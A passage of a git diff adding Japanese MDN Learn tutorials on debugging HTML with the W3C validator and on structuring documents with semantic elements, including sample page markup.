属性値に、閉じ二重引用符がありません。これが最大の問題を引き起こしているようです。リンクはまったくレンダリングされていません。</li> + </ul> + </li> + <li>それでは、ソースコードのマークアップに対して、ブラウザがレンダリングしたマークアップを見てみましょう。これを行うには、ブラウザの開発者ツールを使用できます。ブラウザの開発者ツールの使い方に慣れていない場合は、<a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">Discover browser developer tools</a> を数分確認してください。</li> + <li>DOM インスペクタでは、レンダリングされたマークアップがどのように見えるかを見ることができます。<img alt="The HTML inspector in Firefox, with our example's paragraph highlighted, showing the text "What causes errors in HTML?" Here you can see that the paragraph element has been closed by the browser." src="https://mdn.mozillademos.org/files/12439/html-inspector.png" style="display: block; margin: 0 auto;"></li> + <li>DOM インスペクタを使用して、ブラウザが HTML エラーを修正しようとしている方法を確認するためにコードを詳しく調べてみましょう (もちろん Firefox で確認していますが、他のモダンなブラウザでも同じ結果が得られる<em>はず</em>です)。 + <ul> + <li>段落とリスト項目には終了タグが付けられています。</li> + <li>最初の <code><strong></code> 要素がどこで閉じられるべきかは明確ではないので、ブラウザはそれぞれ別々のテキストブロックをそれぞれの strong タグで、ドキュメントの一番下まで閉じています。</li> + <li>不正確なネスティングはブラウザによってこのように修正されました： + <pre class="brush: html notranslate"><strong>strong + <em>strong emphasised?</em> +</strong> +<em> what is this?</em></pre> + </li> + <li>二重引用符がないリンクは完全に削除されました。 最後のリスト項目は次のようになります。 + <pre class="brush: html notranslate"><li> + <strong>Unclosed attributes: Another common source of HTML problems. + Let's look at an example: </strong> +</li></pre> + </li> + </ul> + </li> +</ol> + +<h3 id="HTML_バリデーション">HTML バリデーション</h3> + +<p>上記の例から、HTML が整形式であることを本当に確認したいことがわかります。しかし、どうですか？上のような小さな例では、行を検索してエラーを見つけるのは簡単ですが、巨大で複雑な HTML 文書についてはどうでしょうか。</p> + +<p>最良の戦略は、HTML、CSS、およびその他の Web テクノロジを定義する仕様を管理する組織である W3C によって作成および管理されている <a href="https://validator.w3.org/">Markup Validation Service</a> を介して HTML ページを実行することです。この Web ページは入力として HTML ドキュメントを受け取り、それを通して、あなたの HTML の何が悪いのかを伝えるレポートを提供してくれます。</p> + +<p><img alt="The HTML validator homepage" src="https://mdn.mozillademos.org/files/12441/validator.png" style="display: block; margin: 0 auto;"></p> + +<p>検証する HTML を指定するには、Web アドレスを指定するか、HTML ファイルをアップロードするか、または HTML コードを直接入力します。</p> + +<h3 id="アクティブラーニング_HTML_ドキュメントの検証">アクティブラーニング: HTML ドキュメントの検証</h3> + +<p><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/debugging-html/debug-example.html">サンプル文書</a>でこれを試してみましょう。</p> + +<ol> + <li>まず、<a href="https://validator.w3.org/">Markup Validation Service</a> を1つのブラウザタブに読み込みます (まだ読み込まれていない場合)。</li> + <li><a href="https://validator.w3.org/#validate_by_input">Validate by Direct Input</a> タブに切り替えます。</li> + <li>本文だけでなく、すべてのサンプルドキュメントのコードをコピーして、Markup Validation Service に表示される大きなテキスト領域に貼り付けます。</li> + <li><em>Check</em> ボタンを押します</li> +</ol> + +<p>これでエラーと他の情報のリストを提供してくれるはずです。</p> + +<p><img alt="A list of of HTML validation results from the W3C markup validation service" src="https://mdn.mozillademos.org/files/12443/validation-results.png" style="display: block; margin: 0 auto;"></p> + +<h4 id="エラーメッセージの解釈">エラーメッセージの解釈</h4> + +<p>エラーメッセージは通常役に立ちますが、あまり役に立たないこともあります。少し訓練すれば、これらを解釈してコードを修正する方法を考え出すことができます。エラーメッセージとその意味を見ていきましょう。各メッセージには行番号と列番号が付いているので、エラーを簡単に見つけることができます。</p> + +<ul> + <li>"End tag <code>li</code> implied, but there were open elements" (2 instances): これらのメッセージは、要素が開いていて閉じる必要があることを示しています。終了タグは暗示されていますが、実際にはありません。行/列情報は、終了タグが実際にあるべき行の後の最初の行を指していますが、これは何が問題なのかを確認するのに十分な手掛かりです。</li> + <li>"Unclosed element <code>strong</code>": これは理解するのが本当に簡単です — {{htmlelement("strong")}} 要素は閉じられておらず、行/列情報はそれがどこにあるかを指し示しています。</li> + <li>"End tag <code>strong</code> violates nesting rules": これは間違って入れ子になった要素を指摘し、行/列情報はそれがどこにあるかを指摘します。</li> + <li>"End of file reached when inside an attribute value. Ignoring tag": これはかなり不可解です。ファイルの末尾が属性値の内側に表示されるため、おそらくファイルの末尾近くのどこかに適切に形成されていない属性値があるという事実を意味します。ブラウザがリンクをレンダリングしないという事実は、どの要素が問題になっているかについての良い手がかりを与えるはずです。</li> + <li>"End of file seen and there were open elements": これは少しあいまいですが、基本的には適切に閉じる必要がある開いている要素があるという事実を指します。行番号はファイルの最後の数行を指しており、このエラーメッセージには open 要素の例を示すコード行が付いています。 + <pre class="line-numbers language-html notranslate"><code class="language-html">example: <a href="https://www.mozilla.org/>link to Mozilla homepage<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>a</span><span class="punctuation token">></span></span> ↩ <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>ul</span><span class="punctuation token">></span></span>↩ <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>body</span><span class="punctuation token">></span></span>↩<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>html</span><span class="punctuation token">></span></span></code></pre> + + <div class="note"> + <p><strong>メモ</strong>: 閉じ引用符が抜けている属性は、文書の残りの部分が属性の内容として解釈されるため、open 要素になる可能性があります。</p> + </div> + </li> + <li> + <p>"Unclosed element <code>ul</code>": {{htmlelement("ul")}} 要素は正しく閉じられているので、これはあまり役に立ちません。閉じ引用符がないために {{htmlelement("a")}} 要素が閉じられないため、このエラーが発生します。</p> + </li> +</ul> + +<p>すべてのエラーメッセージが何を意味するのかわからない場合でも、心配しないでください<span> — </span>一度にいくつかのエラーを修正してみることをお勧めします。 それから、どんなエラーが残っているかを示すためにあなたの HTML を再検証することを試みてください。以前のエラーを修正すると他のエラーメッセージも消えてしまうことがあります。つまりはドミノ効果で、単一の問題が原因でいくつかのエラーが発生することがあるということです。</p> + +<p>出力に次のバナーが表示されたら、エラーがすべて解決したことがわかります。</p> + +<p><img alt='Banner that reads "The document validates according to the specified schema(s) and to additional constraints checked by the validator."' src="https://mdn.mozillademos.org/files/12445/valid-html-banner.png" style="display: block; margin: 0 auto;"></p> + +<h2 id="まとめ">まとめ</h2> + +<p>ここでは HTML のデバッグについて紹介しました。これは、後で CSS、JavaScript、およびその他の種類のコードのデバッグを始めるときに頼りになる便利なスキルです。<br> + また <span class="tlid-translation translation" lang="ja"><span title="">HTMLモジュールの学習に関する記事の紹介の終わりにもなります。今、あなたは私たちの評価で自分自身をテストすることに進むことができます。最初のものは以下にリンクされています。</span></span></p> + +<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}</p> + +<h2 id="このモジュール">このモジュール</h2> + +<ul> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Marking up a letter</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structuring a page of content</a></li> +</ul> diff --git a/files/ja/learn/html/introduction_to_html/document_and_website_structure/index.html b/files/ja/learn/html/introduction_to_html/document_and_website_structure/index.html new file mode 100644 index 0000000000..86cb004b5e --- /dev/null +++ b/files/ja/learn/html/introduction_to_html/document_and_website_structure/index.html @@ -0,0 +1,293 @@ +--- +title: ドキュメントと Web サイトの構造 +slug: Learn/HTML/Introduction_to_HTML/Document_and_website_structure +tags: + - Beginner + - CodingScripting + - Guide + - HTML + - Layout + - Page + - Site + - blocks + - semantics +translation_of: Learn/HTML/Introduction_to_HTML/Document_and_website_structure +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}</div> + +<p class="summary">{{glossary("HTML")}} は、ページの個々の部分 (「段落」や「画像」など) を定義するだけでなく、ウェブサイトの領域を定義するために使用される多数のブロックレベル要素 (「ヘッダー」、「ナビゲーションメニュー」、「メインコンテンツ列」など) も備えています。この記事では、基本的なウェブサイト構造を計画し、この構造を表す HTML を記述する方法について説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>「<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML を始めよう</a>」で説明されている基本的な HTML の理解。「<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML テキストの基礎</a>」で説明されている HTML テキストの書式設定。「<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">ハイパーリンクの作成</a>」で説明されている、ハイパーリンクのしくみ。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>セマンティックタグを使用して文書を構造化する方法、および単純なウェブサイトの構造を作成する方法を学びます。</td> + </tr> + </tbody> +</table> + +<h2 id="Basic_sections_of_a_document" name="Basic_sections_of_a_document">文書の基本部分</h2> + +<p>ウェブページはひとつひとつの見た目が異なるものですが、全画面表示のビデオやゲームを表示している場合やアートプロジェクトの一部分である場合や単にまずく構成されている場合を除いて、よく似た標準コンポーネントを共有している傾向にあります:</p> + +<dl> + <dt>ヘッダー:</dt> + <dd>通常は大きな見出しやロゴの付いた上部の大きな部分。通常、ウェブページ間を移動しても、ウェブサイトに関する主な共通情報がととどまっている場所です。</dd> + <dt>ナビゲーションバー:</dt> + <dd>サイトの主要セクションへのリンク。通常はメニューボタン、リンク、またはタブで表されます。ヘッダーと同様に、このコンテンツは通常、あるウェブページから別のウェブページへと一貫性を保っています — あなたのウェブサイト上でナビゲーションが矛盾していると、混乱して欲求不満のあるユーザーになるだけです。多くの Web デザイナーはナビゲーションバーを個々のコンポーネントではなくヘッダーの一部と見なしていますが、これは必須ではありません。実際、スクリーンリーダーは 2 つの機能を別々にした方が読みやすくなるため、2 つの機能を別々に使用するほうが<a href="/ja/docs/Learn/Accessibility">アクセシビリティ</a>に優れていると主張する人もいます。</dd> + <dt>メインコンテンツ:</dt> + <dd>特定のウェブページのほとんどのユニークなコンテンツが含まれている中央の大きな領域。たとえば、見たいビデオ、読んでいる本編、表示したい地図、ニュースの見出しなど これは間違いなくページごとに異なるウェブサイトの一部です。</dd> + <dt>サイドバー:</dt> + <dd>いくつかの周辺情報、リンク、引用、広告など。通常これはメインコンテンツ (例えば、ニュース記事ページ、サイドバーに作者の略歴、または関連記事へのリンクなど) に含まれているものとの関連性があります。また、二次ナビゲーションシステムのように繰り返し発生する要素がある場合もあります。</dd> + <dt>フッター:</dt> + <dd>通常、注意事項、著作権表示、または連絡先情報が含まれているページの下部にある部分。これは共通の情報 (ヘッダーなど) を入れる場所ですが、通常、その情報はウェブサイト自体にとって重要ではありません。フッターは、人気のあるコンテンツにすばやくアクセスするためのリンクを提供することで、{{Glossary("SEO")}} の目的で使用されることもあります。</dd> +</dl> + +<p>「典型的なウェブサイト」は下記のようなレイアウトになります:</p> + +<p><img alt="a simple website structure example featuring a main heading, navigation menu, main content, side bar, and footer." src="https://mdn.mozillademos.org/files/12417/sample-website.png" style="display: block; margin: 0 auto;"></p> + +<h2 id="HTML_for_structuring_content" name="HTML_for_structuring_content">コンテンツを構造化する HTML</h2> + +<p>上に示した簡単な例はきれいではありませんが、典型的なウェブサイトのレイアウト例を示すのには最適です。一部のウェブサイトはより多くのコラムを持っています、いくつかはかなり複雑ですが、アイデアはあります。適切な CSS を使用すれば、さまざまなセクションをラップして望みどおりの外観にするためにほとんどすべての要素を使用できますが、前述のとおり、セマンティクスを尊重し、<strong>適切な役割に適切な要素を使用する</strong>必要があります。</p> + +<p>なぜならビジュアルがすべてを伝えるわけではないからです。私たちはナビゲーションメニューや関連リンクなど、コンテンツの最も有用な部分に目の見えるユーザーの注意を引くために、色とフォントサイズを使用します。しかし、例えば「ピンク」や「大きいフォント」のような概念があまり有用ではないと思われる視覚障害者についてはどうでしょうか。</p> + +<div class="note"> +<p><strong>注</strong>: 色覚障害者は<a href="http://www.color-blindness.com/2006/04/28/colorblind-population/">世界の人口の約 4 ％</a>を占めています。言い換えれば、男性 12 人に 1 人、女性 200 人に 1 人が色覚異常です。視覚障害のある人々は世界の人口の約 4〜5 ％を占めています (2012 年には<a href="https://en.wikipedia.org/wiki/Visual_impairment">全世界で 2 億 8,500 万人</a>の人々がいましたが、総人口は<a href="https://en.wikipedia.org/wiki/World_population#/media/File:World_population_history.svg">約 70 億人</a>でした)。</p> +</div> + +<p>HTML コードでは、それらの<em>機能</em>に基づいてコンテンツのセクションをマークアップすることができます — スクリーンリーダーのような支援技術はそれらの要素を認識し、「メインナビゲーションを見つける」や「メインコンテンツを見つける」といった作業を手助けすることができます。<br> + コースの前半で述べたように、<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Why_do_we_need_structure">適切な役割に適切な要素構造とセマンティクスを使用しないことによる影響</a>は多くあります。</p> + +<p>このようなセマンティックマークアップを実装するために、HTML には、そのようなセクションを表すために使用できる専用のタグが用意されています。次に例を示します。</p> + +<ul> + <li><strong>ヘッダー: </strong>{{htmlelement("header")}}.</li> + <li><strong>ナビゲーションバー: </strong>{{htmlelement("nav")}}.</li> + <li><strong>メインコンテンツ: </strong>{{htmlelement("main")}}。{{HTMLElement("article")}}、{{htmlelement("section")}}、および {{htmlelement("div")}} 要素で表されるさまざまなコンテンツサブセクションを含みます。</li> + <li><strong>サイドバー: </strong>{{htmlelement("aside")}}; {{htmlelement("main")}} の中に置かれることがよくあります。</li> + <li><strong>フッター: </strong>{{htmlelement("footer")}}.</li> +</ul> + +<h3 id="Active_learning_exploring_the_code_for_our_example" name="Active_learning_exploring_the_code_for_our_example">アクティブ学習: 実例のコードを見てみる</h3> + +<p>上記の例は次のコードで表されています (<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/document_and_website_structure/index.html">この例は GitHub リポジトリにもあります</a>)。上の例を見てから、下のリストを見て、どの部分がビジュアルのどの部分を構成しているかを確認してください。</p> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + + <title>My page title</title> + <link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300|Sonsie+One" rel="stylesheet" type="text/css"> + <link rel="stylesheet" href="style.css"> + + <!-- the below three lines are a fix to get HTML5 semantic elements working in old versions of Internet Explorer--> + <!--[if lt IE 9]> + <script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script> + <![endif]--> + </head> + + <body> + <!-- Here is our main header that is used across all the pages of our website --> + + <header> + <h1>Header</h1> + </header> + + <nav> + <ul> + <li><a href="#">Home</a></li> + <li><a href="#">Our team</a></li> + <li><a href="#">Projects</a></li> + <li><a href="#">Contact</a></li> + </ul> + + <!-- A Search form is another commmon non-linear way to navigate through a website. --> + + <form> + <input type="search" name="q" placeholder="Search query"> + <input type="submit" value="Go!"> + </form> + </nav> + + <!-- Here is our page's main content --> + <main> + + <!-- It contains an article --> + <article> + <h2>Article heading</h2> + + <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Donec a diam lectus. Set sit amet ipsum mauris. Maecenas congue ligula as quam viverra nec consectetur ant hendrerit. Donec et mollis dolor. Praesent et diam eget libero egestas mattis sit amet vitae augue. Nam tincidunt congue enim, ut porta lorem lacinia consectetur.</p> + + <h3>subsection</h3> + + <p>Donec ut librero sed accu vehicula ultricies a non tortor. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aenean ut gravida lorem. Ut turpis felis, pulvinar a semper sed, adipiscing id dolor.</p> + + <p>Pelientesque auctor nisi id magna consequat sagittis. Curabitur dapibus, enim sit amet elit pharetra tincidunt feugiat nist imperdiet. Ut convallis libero in urna ultrices accumsan. Donec sed odio eros.</p> + + <h3>Another subsection</h3> + + <p>Donec viverra mi quis quam pulvinar at malesuada arcu rhoncus. Cum soclis natoque penatibus et manis dis parturient montes, nascetur ridiculus mus. In rutrum accumsan ultricies. Mauris vitae nisi at sem facilisis semper ac in est.</p> + + <p>Vivamus fermentum semper porta. Nunc diam velit, adipscing ut tristique vitae sagittis vel odio. Maecenas convallis ullamcorper ultricied. Curabitur ornare, ligula semper consectetur sagittis, nisi diam iaculis velit, is fringille sem nunc vet mi.</p> + </article> + + <!-- the aside content can also be nested within the main content --> + <aside> + <h2>Related</h2> + + <ul> + <li><a href="#">Oh I do like to be beside the seaside</a></li> + <li><a href="#">Oh I do like to be beside the sea</a></li> + <li><a href="#">Although in the North of England</a></li> + <li><a href="#">It never stops raining</a></li> + <li><a href="#">Oh well...</a></li> + </ul> + </aside> + + </main> + + <!-- And here is our main footer that is used across all the pages of our website --> + + <footer> + <p>©Copyright 2050 by nobody. All rights reversed.</p> + </footer> + + </body> +</html></pre> + +<p>コードを見て理解するためにしばらく時間をかけてください — コード内のコメントもそれを理解するのに役立ちます。ドキュメントのレイアウトを理解するための鍵は、正しい HTML 構造を作成し、それを CSS でレイアウトすることです。CSS トピックの一部として CSS レイアウトの学習を始めるまで、これを待ちます。</p> + +<h2 id="HTML_layout_elements_in_more_detail" name="HTML_layout_elements_in_more_detail">HTML レイアウト要素の詳細</h2> + +<p>すべての HTML セクショニング要素の全体的な意味を詳細に理解しておくとよいでしょう。これは、ウェブ開発でより多くの経験を積むようになるにつれて徐々に取り組むものです。 <a href="/ja/docs/Web/HTML/Element#Inline_text_semantics">HTML 要素のリファレンス</a>を読むことによって多くの詳細を見つけることができます。今のところ、これらは理解するべき主な定義です：</p> + +<ul> + <li>{{HTMLElement('main')}} は、このページに固有のコンテンツ用です。<code><main></code> はページごとに 1 回だけ使用し、{{HTMLElement('body')}} の中に直接入れてください。理想的には、これを他の要素の中に入れ子にしないでください。</li> + <li>{{HTMLElement('article')}} は、ページの残りの部分 (例えば、単一のブログ記事) なしでそれ自体が意味をなす関連コンテンツのブロックを囲みます。</li> + <li>{{HTMLElement('section')}} は <code><article></code> に似ていますが、1 つの機能 (例：ミニマップ、記事の見出しと要約のセット) を構成するページの単一部分をグループ化するためのものです。各セクションを<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Why_do_we_need_structure">見出し</a>で始めるのがベストプラクティスです。文脈に応じて、<code><article></code> を異なる <code><section></code> に、または <code><section></code> を異なる <code><article></code> に分割することもできます。</li> + <li>{{HTMLElement('aside')}} には、メインコンテンツに直接関連しないコンテンツが含まれていますが、それに間接的に関連する追加情報 (用語集エントリ、著者略歴、関連リンクなど) を提供することができます。</li> + <li>{{HTMLElement('header')}} は紹介コンテンツのグループを表します。それが {{HTMLElement('body')}} の子である場合、それはウェブページのグローバルヘッダーを定義しますが、{{HTMLElement('article')}} または {{HTMLElement('section')}} の子である場合、そのセクションのための特定のヘッダーを定義します (これを<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML#Adding_a_title">タイトルや見出し</a>と混同しないようにしてください)。</li> + <li>{{HTMLElement('nav')}} はページの主なナビゲーション機能を含みます。二次リンクなどはナビゲーションに入りません。</li> + <li>{{HTMLElement('footer')}} はページの終了コンテンツのグループを表します。</li> +</ul> + +<h3 id="Non-semantic_wrappers" name="Non-semantic_wrappers">非セマンティックなラッパー</h3> + +<p>時にはいくつかのアイテムをまとめたり、コンテンツをラップしたりするための理想的なセマンティック要素が見つからない場合があります。いくつかの {{glossary("CSS")}} や {{glossary("JavaScript")}} を持つ単一のエンティティとしてそれらすべてに影響を与えるために単に要素のセットを一緒にグループ化したいことがあります。このような場合に、HTML は {{HTMLElement("div")}} と {{HTMLElement("span")}} 要素を提供します。これらを適切な {{htmlattrxref('class')}} 属性と一緒に使用して、簡単にターゲティングできるようにそれらに何らかの種類のラベルを提供することをお勧めします。</p> + +<p>{{HTMLElement("span")}} はインラインの非セマンティック要素です。コンテンツをラップするより良い意味的なテキスト要素が思いつかないか、または特定の意味を加えたくない場合にだけ使うべきです。例えば：</p> + +<pre class="brush: html notranslate"><p>The King walked drunkenly back to his room at 01:00, the beer doing nothing to aid +him as he staggered through the door <span class="editor-note">[Editor's note: At this point in the +play, the lights should be down low]</span>.</p></pre> + +<p>この場合、編集者のメモは単に演劇の監督に追加の指示を与えることになっています。特別な意味を持つことは想定されていません。視覚のある人にとっては、CSS はメモを本文からわずかに離すように使われます。</p> + +<p>{{HTMLElement("div")}} はブロックレベルの非セマンティック要素であり、使用するセマンティックブロック要素を考えない場合、または特定の意味を追加したくない場合にのみ使用してください。たとえば、電子商取引サイトで、いつでも買い物をすることができるショッピングカートのウィジェットを想像してみてください。</p> + +<pre class="brush: html notranslate"><div class="shopping-cart"> + <h2>Shopping cart</h2> + <ul> + <li> + <p><a href=""><strong>Silver earrings</strong></a>: $99.95.</p> + <img src="../products/3333-0985/thumb.png" alt="Silver earrings"> + </li> + <li> + ... + </li> + </ul> + <p>Total cost: $237.89</p> +</div></pre> + +<p>これは必ずしも <code><aside></code> ではありません。必ずしもページのメインコンテンツに関連しているわけではないからです (どこからでも見られるようにしたいのです)。ページのメインコンテンツの一部ではないので、<code><section></code> の使用を特に保証するものではありません。したがって、この場合は <code><div></code> で問題ありません。スクリーンリーダーのユーザーが見つけやすいように、道標として見出しを追加しました。</p> + +<div class="warning"> +<p><strong>警告</strong>: Div は使い勝手が良いので使いすぎになりがちです。それらは意味的な価値を持たないので、HTML コードを乱雑にするだけです。より良い意味的な解決策がない場合にのみ使用するように気を付けてください。</p> +</div> + +<h3 id="Line_breaks_and_horizontal_rules" name="Line_breaks_and_horizontal_rules">改行と垂直方向のルール</h3> + +<p><span class="tlid-translation translation" lang="ja"><span title="">時々使う、そして知りたい 2 つの要素</span></span>は {{htmlelement("br")}} と {{htmlelement("hr")}} です：</p> + +<p><code><br></code> は段落内に改行を作成します。これは、住所や詩のように一連の短い固定線が必要な状況で硬い構造を強制する唯一の方法です。例えば：</p> + +<pre class="brush: html notranslate"><p>There once was a girl called Nell<br> +Who loved to write HTML<br> +But her structure was bad, her semantics were sad<br> +and her markup didn't read very well.</p></pre> + +<p><code><br></code> 要素がないと、段落は 1行で表示されます (コースの前半で述べたように、<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started#Whitespace_in_HTML">HTML はほとんどの空白を無視します</a>)。コード内でこれらを使用すると、マークアップは次のようにレンダリングされます。</p> + +<p>There once was a man named O'Dell<br> + Who loved to write HTML<br> + But his structure was bad, his semantics were sad<br> + and his markup didn't read very well.</p> + +<p><code><hr></code> 要素は、テキストの主題の変更 (トピックやシーンの変更など) を示す水平方向の罫線をドキュメントに作成します。視覚的には単に横線のように見えます。例として：</p> + +<pre class="notranslate"><p>ロンは荒廃した地獄の獣たちによって隅に追いやられた。怖がっていたが、彼の友達を守ることを決心していたので、彼は自分の杖を上げて戦いをする準備をした。</p> +<hr> +<p>その間、ハリーは家に座って、彼の使用料の声明を見つめてそして魅惑の苦痛の手紙が彼の窓を通って飛んで、そして彼の膝に着陸したときに次のスピンオフシリーズが出るだろう時を考えました。彼はそれをぼんやりと読んでため息をついた。「その時は仕事に戻るほうがいい」と彼は言った。</p></pre> + +<p>このようにレンダリングされます：</p> + +<p>ロンは荒廃した地獄の獣たちによって隅に追いやられた。怖がっていたが、彼の友達を守ることを決心していたので、彼は自分の杖を上げて戦いをする準備をした。</p> + +<hr> +<p>その間、ハリーは家に座って、彼の使用料の声明を見つめてそして魅惑の苦痛の手紙が彼の窓を通って飛んで、そして彼の膝に着陸したときに次のスピンオフシリーズが出るだろう時を考えました。彼はそれをぼんやりと読んでため息をついた。「その時は仕事に戻るほうがいい」と彼は言った。</p> + +<h2 id="Planning_a_simple_website" name="Planning_a_simple_website">簡単なウェブサイトを計画する</h2> + +<p><span class="tlid-translation translation" lang="ja"><span title="">簡単なウェブページのコンテンツの構造を計画したら、次の論理的なステップは</span><span title="">、ウェブサイト全体に掲載したいコンテンツ</span><span title="">、必要なページ</span><span title="">、および可能な限り最高のユーザーエクスペリエンスを実現するために、それらをどのように配置して互いにリンクさせるかを解決することです。</span></span>これは {{glossary("Information architecture")}} と呼ばれます。大規模で複雑なウェブサイトでは、このプロセスに多くの計画を立てることがありますが、数ページの単純なウェブサイトでは、かなり単純で楽しいものになります。</p> + +<ol> + <li>ナビゲーションメニューやフッターコンテンツなど、(全部ではないにしても) ほとんどのページに共通の要素がいくつかあることに注意してください。たとえば、サイトがビジネスのためのものである場合、連絡先情報を各ページのフッターで利用可能にすることは良い考えです。すべてのページに共通にしたいものを書き留めます。<img alt="the common features of the travel site to go on every page: title and logo, contact, copyright, terms and conditions, language chooser, accessibility policy" src="https://mdn.mozillademos.org/files/12423/common-features.png" style="border-style: solid; border-width: 1px; display: block; height: 375px; margin: 0px auto; width: 600px;"></li> + <li>次に、各ページの構造をどのようにしたらよいかを大まかにスケッチします (上の単純なウェブサイトのようになります)。各ブロックがどうなるかに注意してください。<img alt="A simple diagram of a sample site structure, with a header, main content area, two optional sidebars, and footer" src="https://mdn.mozillademos.org/files/12429/site-structure.png" style="border-style: solid; border-width: 1px; display: block; height: 232px; margin: 0px auto; width: 600px;"></li> + <li>さて、自身のウェブサイトに載せたい他のすべての (全ページに共通ではない) コンテンツをブレインストーミングしましょう — 大きなリストに書き留めます。<img alt="A long list of all the features that we could put on our travel site, from searching, to special offers and country-specific info" src="https://mdn.mozillademos.org/files/12425/feature-list.png" style="border-style: solid; border-width: 1px; display: block; height: 1066px; margin: 0px auto; width: 600px;"></li> + <li>次に、これらすべてのコンテンツ項目をグループに分類して、どの部分が異なるページに共存しているかを把握します。これは {{glossary("Card sorting")}} と呼ばれるテクニックと非常によく似ています。<img alt="The items that should appear on a holiday site sorted into 5 categories: Search, Specials, Country-specific info, Search results, and Buy things" src="https://mdn.mozillademos.org/files/12421/card-sorting.png" style="border-style: solid; border-width: 1px; display: block; height: 579px; margin: 0px auto; width: 600px;"></li> + <li>それでは、大まかなサイトマップをスケッチしてみましょう。サイト上の各ページにバブルを付け、ページ間の典型的なワークフローを示すために線を引きます。<br> + ホームページはおそらく中心にあり、すべてではないにしてもほとんどのページにリンクするでしょう。例外はありますが、小規模サイトのほとんどのページはメインナビゲーションから利用できるはずです。物事がどのように提示されるかもしれないかについてのメモも含めることをお勧めします。<img alt="A map of the site showing the homepage, country page, search results, specials page, checkout, and buy page" src="https://mdn.mozillademos.org/files/12427/site-map.png" style="border-style: solid; border-width: 1px; display: block; height: 872px; margin: 0px auto; width: 600px;"></li> +</ol> + +<h3 id="Active_learning_create_your_own_sitemap" name="Active_learning_create_your_own_sitemap">アクティブラーニング: 自身のサイトマップを作成する</h3> + +<p>自身が作成したウェブサイトのために上記の演習を実行してみてください。何についてサイトを作りたいですか？</p> + +<div class="note"> +<p><strong>注</strong>: 作業をどこかに保存してください。後で必要になるかもしれません。</p> +</div> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>この時点であなたはウェブページ/サイトをどのように構成するかについてより良い考えを持っているはずです。このモジュールの最後の記事では、HTML をデバッグする方法を学びます。</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/Guide/HTML/Using_HTML_sections_and_outlines">HTML のセクションとアウトラインの使用</a>: HTML 5 のセマンティック要素と HTML 5 のアウトラインアルゴリズムの上級ガイド。</li> +</ul> + +<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Marking up a letter</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structuring a page of content</a></li> +</ul> diff --git a/files/ja/learn/html/introduction_to_html/getting_started/index.html b/files/ja/learn/html/introduction_to_html/getting_started/index.html new file mode 100644 index 0000000000..6cfcea234e --- /dev/null +++ 